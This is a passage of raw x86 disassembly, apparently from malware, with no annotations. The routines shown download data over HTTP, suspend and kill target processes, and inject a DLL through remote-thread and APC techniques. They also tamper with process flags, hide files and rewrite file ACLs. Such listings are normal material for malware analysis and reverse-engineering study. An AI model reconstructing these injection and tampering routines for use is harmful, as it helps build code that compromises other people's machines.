		mov	[ebp+3B4h+dwBufferLength], 4
		call	HttpQueryInfoA
		test	eax, eax
		jz	loc_9A6279
		cmp	[ebp+3B4h+Buffer], 0C8h
		jnz	loc_9A6279
		lea	eax, [ebp+3B4h+var_410]
		push	eax		; lpBuffer
		push	esi		; hFile
		push	[ebp+3B4h+hMem]
		mov	esi, InternetReadFile
		mov	[ebp+3B4h+var_410], edi
		push	ebx
		jmp	short loc_9A626E
; ---------------------------------------------------------------------------


loc_9A61FF:				; CODE XREF: sub_9A60D7+19Bj
		cmp	[ebp+3B4h+var_410], 0
		jz	short loc_9A6274
		add	edi, [ebp+3B4h+var_410]
		call	GetTickCount
		sub	eax, [ebp+3B4h+var_428]
		cmp	eax, 493E0h
		ja	short loc_9A6274
		mov	eax, [ebp+3B4h+Size]
		cmp	edi, eax
		jnz	short loc_9A625B
		cmp	edi, 7D000h
		jnb	short loc_9A6274
		lea	ebx, [eax+eax]
		push	ebx		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		test	eax, eax
		mov	[ebp+3B4h+var_430], eax
		jz	short loc_9A6274
		push	[ebp+3B4h+Size]	; Size
		push	[ebp+3B4h+hMem]	; Src
		push	eax		; Dst
		call	memcpy
		add	esp, 0Ch
		push	[ebp+3B4h+hMem]	; hMem
		call	GlobalFree
		mov	eax, [ebp+3B4h+var_430]
		mov	[ebp+3B4h+hMem], eax
		mov	[ebp+3B4h+Size], ebx


loc_9A625B:				; CODE XREF: sub_9A60D7+146j
		lea	eax, [ebp+3B4h+var_410]
		push	eax
		mov	eax, [ebp+3B4h+Size]
		sub	eax, edi
		push	eax
		mov	eax, [ebp+3B4h+hMem]
		add	eax, edi
		push	eax
		push	[ebp+3B4h+var_420]


loc_9A626E:				; CODE XREF: sub_9A60D7+126j
		call	esi ; InternetReadFile
		test	eax, eax
		jnz	short loc_9A61FF


loc_9A6274:				; CODE XREF: sub_9A60D7+12Cj
					; sub_9A60D7+13Fj ...
		mov	eax, [ebp+3B4h+var_41C]
		mov	[eax], edi


loc_9A6279:				; CODE XREF: sub_9A60D7+101j
					; sub_9A60D7+10Ej
		push	[ebp+3B4h+var_420] ; hInternet
		call	InternetCloseHandle


loc_9A6282:				; CODE XREF: sub_9A60D7+D0j
		push	[ebp+3B4h+hInternet] ; hInternet
		call	InternetCloseHandle


loc_9A628B:				; CODE XREF: sub_9A60D7+A8j
		pop	edi


loc_9A628C:				; CODE XREF: sub_9A60D7+45j
					; sub_9A60D7+59j
		mov	eax, [ebp+3B4h+var_41C]
		xor	esi, esi
		cmp	[eax], esi
		jnz	short loc_9A62A6
		cmp	[ebp+3B4h+hMem], esi
		jz	short loc_9A62A6
		push	[ebp+3B4h+hMem]	; hMem
		call	GlobalFree
		mov	[ebp+3B4h+hMem], esi


loc_9A62A6:				; CODE XREF: sub_9A60D7+1BCj
					; sub_9A60D7+1C1j
		mov	ecx, [ebp+3B4h+var_4]
		mov	eax, [ebp+3B4h+hMem]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 3B4h
		leave
		retn
sub_9A60D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A62C0(DWORD dwProcessId)

sub_9A62C0	proc near		; CODE XREF: sub_9A4074+A0p

te		= THREADENTRY32	ptr -44h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
hObject		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
dwProcessId	= dword	ptr  8

		push	34h
		push	offset stru_9A2A58
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+ms_exc.disabled], ebx
		push	ebx		; th32ProcessID
		push	4		; dwFlags
		call	CreateToolhelp32Snapshot
		mov	[ebp+hObject], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_9A634A
		mov	[ebp+te.dwSize], ebx
		push	6
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+te.cntUsage]
		rep stosd
		mov	[ebp+te.dwSize], 1Ch
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		call	Thread32First
		jmp	short loc_9A633D
; ---------------------------------------------------------------------------


loc_9A6306:				; CODE XREF: sub_9A62C0+7Fj
		mov	eax, [ebp+dwProcessId]
		cmp	eax, [ebp+te.th32OwnerProcessID]
		jnz	short loc_9A6331
		push	[ebp+te.th32ThreadID] ;	dwThreadId
		push	ebx		; bInheritHandle
		push	2		; dwDesiredAccess
		call	OpenThread
		mov	esi, eax
		mov	[ebp+var_24], esi
		cmp	esi, ebx
		jz	short loc_9A6331
		push	esi		; hThread
		call	SuspendThread
		push	esi		; hObject
		call	CloseHandle


loc_9A6331:				; CODE XREF: sub_9A62C0+4Cj
					; sub_9A62C0+61j
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		call	Thread32Next


loc_9A633D:				; CODE XREF: sub_9A62C0+44j
		test	eax, eax
		jnz	short loc_9A6306
		push	[ebp+hObject]	; hObject
		call	CloseHandle


loc_9A634A:				; CODE XREF: sub_9A62C0+22j
		push	[ebp+dwProcessId] ; dwProcessId
		push	ebx		; bInheritHandle
		xor	edi, edi
		inc	edi
		push	edi		; dwDesiredAccess
		call	OpenProcess
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, ebx
		jz	short loc_9A6380
		push	ebx		; uExitCode
		push	esi		; hProcess
		call	TerminateProcess
		test	eax, eax
		jz	short loc_9A6370
		mov	[ebp+var_20], edi


loc_9A6370:				; CODE XREF: sub_9A62C0+ABj
		push	esi		; hObject
		call	CloseHandle
		jmp	short loc_9A6380
; ---------------------------------------------------------------------------


loc_9A6379:				; DATA XREF: .text:stru_9A2A58o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A637D:				; DATA XREF: .text:stru_9A2A58o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A6380:				; CODE XREF: sub_9A62C0+9Fj
					; sub_9A62C0+B7j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog
		retn
sub_9A62C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0B0h

; int __cdecl sub_9A638D(char *Str2)

sub_9A638D	proc near		; CODE XREF: sub_9A36CC+2Ap
					; sub_9A5C35+8p

var_130		= dword	ptr -130h
Str1		= PROCESSENTRY32 ptr -12Ch
var_4		= dword	ptr -4
Str2		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-0B0h]
		sub	esp, 130h
		mov	eax, dword_9B8788
		and	[ebp+0B0h+var_130], 0
		push	ebx
		push	esi
		mov	esi, [ebp+0B0h+Str2]
		push	0		; th32ProcessID
		xor	eax, ebp
		push	2		; dwFlags
		mov	[ebp+0B0h+var_4], eax
		call	CreateToolhelp32Snapshot
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_9A6411
		push	edi
		push	49h
		pop	ecx
		xor	eax, eax
		mov	[ebp+0B0h+Str1.dwSize],	128h
		lea	edi, [ebp+0B0h+Str1.cntUsage]
		rep stosd
		lea	eax, [ebp+0B0h+Str1]
		push	eax		; lppe
		push	ebx		; hSnapshot
		call	Process32First
		pop	edi
		jmp	short loc_9A63FE
; ---------------------------------------------------------------------------


loc_9A63E3:				; CODE XREF: sub_9A638D+73j
		lea	eax, [ebp+0B0h+Str1.szExeFile]
		push	esi		; Str2
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A6404
		lea	eax, [ebp+0B0h+Str1]
		push	eax		; lppe
		push	ebx		; hSnapshot
		call	Process32Next


loc_9A63FE:				; CODE XREF: sub_9A638D+54j
		test	eax, eax
		jnz	short loc_9A63E3
		jmp	short loc_9A640A
; ---------------------------------------------------------------------------


loc_9A6404:				; CODE XREF: sub_9A638D+65j
		mov	eax, [ebp+0B0h+Str1.th32ProcessID]
		mov	[ebp+0B0h+var_130], eax


loc_9A640A:				; CODE XREF: sub_9A638D+75j
		push	ebx		; hObject
		call	CloseHandle


loc_9A6411:				; CODE XREF: sub_9A638D+35j
		mov	ecx, [ebp+0B0h+var_4]
		mov	eax, [ebp+0B0h+var_130]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 0B0h
		leave
		retn
sub_9A638D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A642B(DWORD dwProcessId,char	*lpBuffer)

sub_9A642B	proc near		; CODE XREF: sub_9A36CC+1Ap
					; sub_9A36CC+36p ...

te		= THREADENTRY32	ptr -3Ch
ThreadId	= dword	ptr -20h
NumberOfBytesWritten= dword ptr	-1Ch
var_18		= dword	ptr -18h
hProcess	= dword	ptr -14h
hObject		= dword	ptr -10h
lpStartAddress	= dword	ptr -0Ch
lpParameter	= dword	ptr -8
var_4		= dword	ptr -4
dwProcessId	= dword	ptr  8
lpBuffer	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		push	edi
		xor	edi, edi
		cmp	[ebp+dwProcessId], 4
		mov	[ebp+var_4], edi
		jbe	short loc_9A6445
		mov	eax, [ebp+lpBuffer]
		cmp	byte ptr [eax],	0
		jnz	short loc_9A644C


loc_9A6445:				; CODE XREF: sub_9A642B+10j
		xor	eax, eax
		jmp	loc_9A65D6
; ---------------------------------------------------------------------------


loc_9A644C:				; CODE XREF: sub_9A642B+18j
		push	esi
		push	eax		; Str
		call	strlen
		pop	ecx
		push	[ebp+dwProcessId] ; dwProcessId
		mov	esi, eax
		push	edi		; bInheritHandle
		push	2Ah		; dwDesiredAccess
		inc	esi
		call	OpenProcess
		cmp	eax, edi
		mov	[ebp+hProcess],	eax
		jz	loc_9A65D2
		push	40h		; flProtect
		push	3000h		; flAllocationType
		lea	ecx, [esi+20h]
		push	ecx		; dwSize
		push	edi		; lpAddress
		push	eax		; hProcess
		call	VirtualAllocEx
		cmp	eax, edi
		mov	[ebp+lpParameter], eax
		jz	loc_9A65B8
		mov	edi, GetModuleHandleA
		push	ebx
		push	offset ProcName	; "LoadLibraryA"
		push	offset aKernel32_dll ; "kernel32.dll"
		call	edi ; GetModuleHandleA
		mov	ebx, GetProcAddress
		push	eax		; hModule
		call	ebx ; GetProcAddress
		mov	[ebp+lpStartAddress], eax
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		inc	esi
		push	esi		; nSize
		push	[ebp+lpBuffer]	; lpBuffer
		push	[ebp+lpParameter] ; lpBaseAddress
		push	[ebp+hProcess]	; hProcess
		call	WriteProcessMemory
		test	eax, eax
		jz	loc_9A65B7
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		xor	esi, esi
		push	esi		; dwCreationFlags
		push	[ebp+lpParameter] ; lpParameter
		push	[ebp+lpStartAddress] ; lpStartAddress
		push	esi		; dwStackSize
		push	esi		; lpThreadAttributes
		push	[ebp+hProcess]	; hProcess
		call	CreateRemoteThread
		cmp	eax, esi
		jz	short loc_9A64F1
		mov	[ebp+var_4], 1
		push	eax
		jmp	loc_9A65B1
; ---------------------------------------------------------------------------


loc_9A64F1:				; CODE XREF: sub_9A642B+B7j
		push	offset aNtqueueapcthre ; "NtQueueApcThread"
		push	offset aNtdll_dll ; "ntdll.dll"
		call	edi ; GetModuleHandleA
		push	eax		; hModule
		call	ebx ; GetProcAddress
		mov	[ebp+var_18], eax
		call	GetVersion
		cmp	[ebp+var_18], esi
		jz	loc_9A65B7
		cmp	al, 5
		jz	short loc_9A6520
		cmp	ax, 6
		jnz	loc_9A65B7


loc_9A6520:				; CODE XREF: sub_9A642B+E9j
		push	offset aLoadlibraryexa ; "LoadLibraryExA"
		push	offset aKernel32_dll ; "kernel32.dll"
		call	edi ; GetModuleHandleA
		push	eax		; hModule
		call	ebx ; GetProcAddress
		push	0		; th32ProcessID
		push	4		; dwFlags
		mov	[ebp+lpStartAddress], eax
		call	CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+hObject], eax
		jz	short loc_9A65B7
		push	6
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+te.cntUsage]
		rep stosd
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		mov	[ebp+te.dwSize], 1Ch
		call	Thread32First
		jmp	short loc_9A65AA
; ---------------------------------------------------------------------------


loc_9A6562:				; CODE XREF: sub_9A642B+181j
		mov	eax, [ebp+dwProcessId]
		cmp	eax, [ebp+te.th32OwnerProcessID]
		jnz	short loc_9A659E
		push	[ebp+te.th32ThreadID] ;	dwThreadId
		xor	esi, esi
		push	esi		; bInheritHandle
		push	10h		; dwDesiredAccess
		call	OpenThread
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_9A659E
		push	esi
		push	esi
		push	[ebp+lpParameter]
		push	[ebp+lpStartAddress]
		push	edi
		call	[ebp+var_18]
		push	edi		; hObject
		mov	ebx, eax
		call	CloseHandle
		cmp	ebx, esi
		jl	short loc_9A659E
		mov	[ebp+var_4], 1


loc_9A659E:				; CODE XREF: sub_9A642B+13Dj
					; sub_9A642B+151j ...
		lea	eax, [ebp+te]
		push	eax		; lpte
		push	[ebp+hObject]	; hSnapshot
		call	Thread32Next


loc_9A65AA:				; CODE XREF: sub_9A642B+135j
		test	eax, eax
		jnz	short loc_9A6562
		push	[ebp+hObject]	; hObject


loc_9A65B1:				; CODE XREF: sub_9A642B+C1j
		call	CloseHandle


loc_9A65B7:				; CODE XREF: sub_9A642B+97j
					; sub_9A642B+E1j ...
		pop	ebx


loc_9A65B8:				; CODE XREF: sub_9A642B+5Bj
		push	[ebp+hProcess]	; hObject
		call	CloseHandle
		cmp	[ebp+var_4], 0
		jz	short loc_9A65D2
		push	1388h		; dwMilliseconds
		call	Sleep


loc_9A65D2:				; CODE XREF: sub_9A642B+3Dj
					; sub_9A642B+19Aj
		mov	eax, [ebp+var_4]
		pop	esi


loc_9A65D6:				; CODE XREF: sub_9A642B+1Cj
		pop	edi
		leave
		retn
sub_9A642B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_9A65D9	proc near		; CODE XREF: sub_9A6678+60p

Dst		= word ptr -94h
var_90		= dword	ptr -90h
lpBuffer	= dword	ptr -8Ch
NumberOfBytesRead= dword ptr -88h
Buffer		= byte ptr -84h
var_74		= dword	ptr -74h
Src		= byte ptr -44h
var_4		= dword	ptr -4
lpBaseAddress	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 94h
		mov	eax, dword_9B8788
		push	esi
		mov	esi, ReadProcessMemory
		push	edi
		mov	[ebp+70h+lpBuffer], ecx
		lea	ecx, [ebp+70h+NumberOfBytesRead]
		push	ecx		; lpNumberOfBytesRead
		xor	eax, ebp
		mov	edi, 80h
		push	edi		; nSize
		lea	ecx, [ebp+70h+Buffer]
		mov	[ebp+70h+var_4], eax
		mov	eax, [ebp+70h+lpBaseAddress]
		push	ecx		; lpBuffer
		push	eax		; lpBaseAddress
		push	ebx		; hProcess
		call	esi ; ReadProcessMemory
		test	eax, eax
		jnz	short loc_9A6616


loc_9A6612:				; CODE XREF: sub_9A65D9+4Ej
					; sub_9A65D9+6Ej
		xor	eax, eax
		jmp	short loc_9A6667
; ---------------------------------------------------------------------------


loc_9A6616:				; CODE XREF: sub_9A65D9+37j
		lea	eax, [ebp+70h+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	edi		; nSize
		lea	eax, [ebp+70h+Buffer]
		push	eax		; lpBuffer
		push	[ebp+70h+var_74] ; lpBaseAddress
		push	ebx		; hProcess
		call	esi ; ReadProcessMemory
		test	eax, eax
		jz	short loc_9A6612
		push	8		; Size
		lea	eax, [ebp+70h+Src]
		push	eax		; Src
		lea	eax, [ebp+70h+Dst]
		push	eax		; Dst
		call	memcpy
		movzx	eax, [ebp+70h+Dst]
		mov	ecx, [ebp+70h+arg_4]
		add	esp, 0Ch
		shr	eax, 1
		dec	ecx
		cmp	ecx, eax
		jb	short loc_9A6612
		mov	ecx, [ebp+70h+lpBuffer]
		and	word ptr [ecx+eax*2], 0
		lea	eax, [ebp+70h+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		movzx	eax, [ebp+70h+Dst]
		push	eax		; nSize
		push	ecx		; lpBuffer
		push	[ebp+70h+var_90] ; lpBaseAddress
		push	ebx		; hProcess
		call	esi ; ReadProcessMemory
		neg	eax
		sbb	eax, eax
		neg	eax


loc_9A6667:				; CODE XREF: sub_9A65D9+3Bj
		mov	ecx, [ebp+70h+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_9AAAC1
		add	ebp, 70h
		leave
		retn
sub_9A65D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A6678(DWORD dwProcessId,int,int)

sub_9A6678	proc near		; CODE XREF: sub_9A66EF+81p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_4		= byte ptr -4
dwProcessId	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		push	edi
		push	offset aNtqueryinforma ; "NtQueryInformationProcess"
		push	offset aNtdll_dll ; "ntdll.dll"
		call	GetModuleHandleA
		push	eax		; hModule
		call	GetProcAddress
		mov	edi, eax
		xor	esi, esi
		cmp	edi, esi
		jnz	short loc_9A66A3
		xor	eax, eax
		jmp	short loc_9A66EB
; ---------------------------------------------------------------------------


loc_9A66A3:				; CODE XREF: sub_9A6678+25j
		push	ebx
		push	[ebp+dwProcessId] ; dwProcessId
		push	esi		; bInheritHandle
		push	410h		; dwDesiredAccess
		call	OpenProcess
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_9A66BD
		xor	eax, eax
		jmp	short loc_9A66EA
; ---------------------------------------------------------------------------


loc_9A66BD:				; CODE XREF: sub_9A6678+3Fj
		lea	eax, [ebp+var_4]
		push	eax
		push	18h
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	ebx
		call	edi
		test	eax, eax
		jl	short loc_9A66E1
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		push	[ebp+var_18]
		call	sub_9A65D9
		pop	ecx
		pop	ecx
		mov	esi, eax


loc_9A66E1:				; CODE XREF: sub_9A6678+55j
		push	ebx		; hObject
		call	CloseHandle
		mov	eax, esi


loc_9A66EA:				; CODE XREF: sub_9A6678+43j
		pop	ebx


loc_9A66EB:				; CODE XREF: sub_9A6678+29j
		pop	edi
		pop	esi
		leave
		retn
sub_9A6678	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2B8h

; int __cdecl sub_9A66EF(LPCWSTR lpSrch)

sub_9A66EF	proc near		; CODE XREF: sub_9A36CC+9p
					; sub_9A5C01+8p

var_338		= dword	ptr -338h
dwProcessId	= PROCESSENTRY32 ptr -334h
First		= word ptr -20Ch
var_20A		= byte ptr -20Ah
var_4		= dword	ptr -4
lpSrch		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-2B8h]
		sub	esp, 338h
		mov	eax, dword_9B8788
		and	[ebp+2B8h+var_338], 0
		push	ebx
		push	esi
		mov	esi, [ebp+2B8h+lpSrch]
		push	0		; th32ProcessID
		xor	eax, ebp
		push	2		; dwFlags
		mov	[ebp+2B8h+var_4], eax
		call	CreateToolhelp32Snapshot
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_9A67AC
		push	edi
		push	49h
		pop	ecx
		xor	eax, eax
		mov	[ebp+2B8h+dwProcessId.dwSize], 128h
		lea	edi, [ebp+2B8h+dwProcessId.cntUsage]
		rep stosd
		lea	eax, [ebp+2B8h+dwProcessId]
		push	eax		; lppe
		push	ebx		; hSnapshot
		call	Process32First
		jmp	short loc_9A6798
; ---------------------------------------------------------------------------


loc_9A6748:				; CODE XREF: sub_9A66EF+ABj
		and	[ebp+2B8h+First], 0
		xor	eax, eax
		mov	ecx, 81h
		lea	edi, [ebp+2B8h+var_20A]
		rep stosd
		stosw
		push	104h		; int
		lea	eax, [ebp+2B8h+First]
		push	eax		; int
		push	[ebp+2B8h+dwProcessId.th32ProcessID] ; dwProcessId
		call	sub_9A6678
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A678E
		push	esi		; lpSrch
		lea	eax, [ebp+2B8h+First]
		push	eax		; lpFirst
		call	StrStrIW
		test	eax, eax
		jnz	short loc_9A679E


loc_9A678E:				; CODE XREF: sub_9A66EF+8Bj
		lea	eax, [ebp+2B8h+dwProcessId]
		push	eax		; lppe
		push	ebx		; hSnapshot
		call	Process32Next


loc_9A6798:				; CODE XREF: sub_9A66EF+57j
		test	eax, eax
		jnz	short loc_9A6748
		jmp	short loc_9A67A4
; ---------------------------------------------------------------------------


loc_9A679E:				; CODE XREF: sub_9A66EF+9Dj
		mov	eax, [ebp+2B8h+dwProcessId.th32ProcessID]
		mov	[ebp+2B8h+var_338], eax


loc_9A67A4:				; CODE XREF: sub_9A66EF+ADj
		push	ebx		; hObject
		call	CloseHandle
		pop	edi


loc_9A67AC:				; CODE XREF: sub_9A66EF+35j
		mov	ecx, [ebp+2B8h+var_4]
		mov	eax, [ebp+2B8h+var_338]
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 2B8h
		leave
		retn
sub_9A66EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A67C6	proc near		; CODE XREF: sub_9A3C63+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, GetModuleHandleA
		push	edi
		push	offset aNtqueryinforma ; "NtQueryInformationProcess"
		mov	ebx, offset aNtdll_dll ; "ntdll.dll"
		push	ebx		; lpModuleName
		call	esi ; GetModuleHandleA
		mov	edi, GetProcAddress
		push	eax		; hModule
		call	edi ; GetProcAddress
		push	offset aNtsetinformati ; "NtSetInformationProcess"
		push	ebx		; lpModuleName
		mov	[ebp+var_8], eax
		call	esi ; GetModuleHandleA
		push	eax		; hModule
		call	edi ; GetProcAddress
		mov	esi, eax
		xor	eax, eax
		cmp	[ebp+var_8], eax
		jz	short loc_9A682A
		cmp	esi, eax
		jz	short loc_9A682A
		push	eax
		push	4
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	22h
		push	0FFFFFFFFh
		call	[ebp+var_8]
		test	eax, eax
		jl	short loc_9A682A
		or	[ebp+var_4], 70h
		push	4
		lea	eax, [ebp+var_4]
		push	eax
		push	22h
		push	0FFFFFFFFh
		call	esi


loc_9A682A:				; CODE XREF: sub_9A67C6+39j
					; sub_9A67C6+3Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9A67C6	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A682F(LPCSTR	Str,int)

sub_9A682F	proc near		; CODE XREF: sub_9A68CA+3Cp
					; sub_9A68CA+10Ep

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+Str]
		push	esi		; lpFileName
		call	GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	loc_9A68C8
		cmp	[esp+4+arg_4], 0
		jz	short loc_9A6863
		test	al, 7
		jz	short loc_9A68C8
		and	eax, 20h
		jnz	short loc_9A6859
		mov	eax, 80h


loc_9A6859:				; CODE XREF: sub_9A682F+23j
		push	eax		; dwFileAttributes
		push	esi		; lpFileName
		call	SetFileAttributesA
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9A6863:				; CODE XREF: sub_9A682F+1Aj
		test	al, 1
		jnz	short loc_9A68C8
		push	ebx
		call	GetTickCount
		push	esi		; Str
		mov	ebx, eax
		call	strlen
		cmp	eax, 4
		pop	ecx
		jbe	short loc_9A68A9
		push	offset asc_9A1318 ; "H"
		push	esi		; Str
		call	strlen
		pop	ecx
		lea	eax, [eax+esi-4]
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A68A9
		movzx	eax, bl
		push	4
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_9A68A9
		inc	edx
		jmp	short loc_9A68BF
; ---------------------------------------------------------------------------


loc_9A68A9:				; CODE XREF: sub_9A682F+4Bj
					; sub_9A682F+68j ...
		shr	ebx, 8
		movzx	eax, bl
		push	4
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	edx, edx
		and	edx, 2
		add	edx, 5


loc_9A68BF:				; CODE XREF: sub_9A682F+78j
		push	edx		; dwFileAttributes
		push	esi		; lpFileName
		call	SetFileAttributesA
		pop	ebx


loc_9A68C8:				; CODE XREF: sub_9A682F+Fj
					; sub_9A682F+1Ej ...
		pop	esi
		retn
sub_9A682F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A68CA(LPCSTR	Str,int,int)

sub_9A68CA	proc near		; CODE XREF: sub_9A3715+81p
					; sub_9A3715+A2p ...

pSecurityDescriptor= byte ptr -54h
nAclLength	= dword	ptr -40h
lpFileName	= dword	ptr -3Ch
var_38		= dword	ptr -38h
hMem		= dword	ptr -34h
pSid		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -24h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	44h
		push	offset stru_9A2AB0
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+Str]
		mov	[ebp+lpFileName], eax
		xor	ebx, ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+hMem], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	edi, [ebp+arg_4]
		mov	ecx, edi
		mov	esi, 120116h
		and	ecx, esi
		cmp	ecx, esi
		jz	short loc_9A690D
		push	ebx		; int
		push	eax		; Str
		call	sub_9A682F
		pop	ecx
		pop	ecx


loc_9A690D:				; CODE XREF: sub_9A68CA+38j
		mov	[ebp+var_2C], bl
		mov	[ebp+var_2B], bl
		mov	[ebp+var_2A], bl
		mov	[ebp+var_29], bl
		mov	[ebp+var_28], bl
		mov	[ebp+var_27], 1
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 5
		push	1		; dwRevision
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	InitializeSecurityDescriptor
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		lea	ecx, [ebp+pIdentifierAuthority]
		jnz	short loc_9A694C
		lea	ecx, [ebp+var_2C]


loc_9A694C:				; CODE XREF: sub_9A68CA+7Dj
		lea	edx, [ebp+pSid]
		push	edx		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		neg	eax
		sbb	eax, eax
		and	eax, 12h
		push	eax		; nSubAuthority0
		push	1		; nSubAuthorityCount
		push	ecx		; pIdentifierAuthority
		call	AllocateAndInitializeSid
		push	[ebp+pSid]	; pSid
		call	GetLengthSid
		add	eax, 10h
		mov	[ebp+nAclLength], eax
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, ebx
		jz	short loc_9A69DF
		or	edi, 100000h
		mov	[ebp+arg_4], edi
		push	2		; dwAclRevision
		push	[ebp+nAclLength] ; nAclLength
		push	eax		; pAcl
		call	InitializeAcl
		push	[ebp+pSid]	; pSid
		push	edi		; AccessMask
		push	2		; dwAceRevision
		push	[ebp+hMem]	; pAcl
		call	AddAccessAllowedAce
		push	ebx		; bDaclDefaulted
		push	[ebp+hMem]	; pDacl
		push	1		; bDaclPresent
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	SetSecurityDescriptorDacl
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		push	4		; SecurityInformation
		push	[ebp+lpFileName] ; lpFileName
		call	SetFileSecurityA
		mov	[ebp+var_38], eax
		and	edi, esi
		cmp	edi, esi
		jnz	short loc_9A69DF
		push	1		; int
		push	[ebp+lpFileName] ; Str
		call	sub_9A682F
		pop	ecx
		pop	ecx


loc_9A69DF:				; CODE XREF: sub_9A68CA+BBj
					; sub_9A68CA+107j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9A69F2
; ---------------------------------------------------------------------------


loc_9A69E5:				; DATA XREF: .text:stru_9A2AB0o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A69E9:				; DATA XREF: .text:stru_9A2AB0o
